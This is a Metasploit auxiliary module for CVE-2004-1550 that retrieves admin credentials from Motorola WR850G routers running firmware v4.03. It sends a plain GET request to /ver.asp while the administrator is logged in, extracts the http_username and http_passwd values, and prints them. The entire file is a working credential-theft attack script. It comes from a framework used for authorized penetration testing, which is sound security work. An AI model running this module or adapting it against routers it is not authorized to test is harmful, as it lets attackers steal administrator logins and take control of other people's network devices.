##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Motorola WR850G v4.03 Credentials',
        'Description' => %q{
          Login credentials to the Motorola WR850G router with
          firmware v4.03 can be obtained via a simple GET request
          if issued while the administrator is logged in.  A lot
          more information is available through this request, but
          you can get it all and more after logging in.
        },
        'Author' => 'kris katterjohn',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1550' ],
          [ 'OSVDB', '10232' ],
          [ 'URL', 'https://seclists.org/bugtraq/2004/Sep/0339.html'],
        ],
        'DisclosureDate' => '2004-09-24',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(80)
    ])
  end

  def run
    connect

    sock.put("GET /ver.asp HTTP/1.0\r\n\r\n")
    response = sock.get_once

    disconnect

    if response.nil? || response.empty?
      print_status('No response from server')
      return
    end

    # 302 Redirect
    if response.split("\r\n")[0] !~ /200 Ok/
      print_status('Administrator not logged in')
      return
    end

    user = ::Regexp.last_match(1) if response.match("http_username=([^\n]*)<br>")
    pass = ::Regexp.last_match(1) if response.match("http_passwd=([^\n]*)<br>")

    print_status("Found username \"#{user}\" and password \"#{pass}\"") if user && pass
  end
end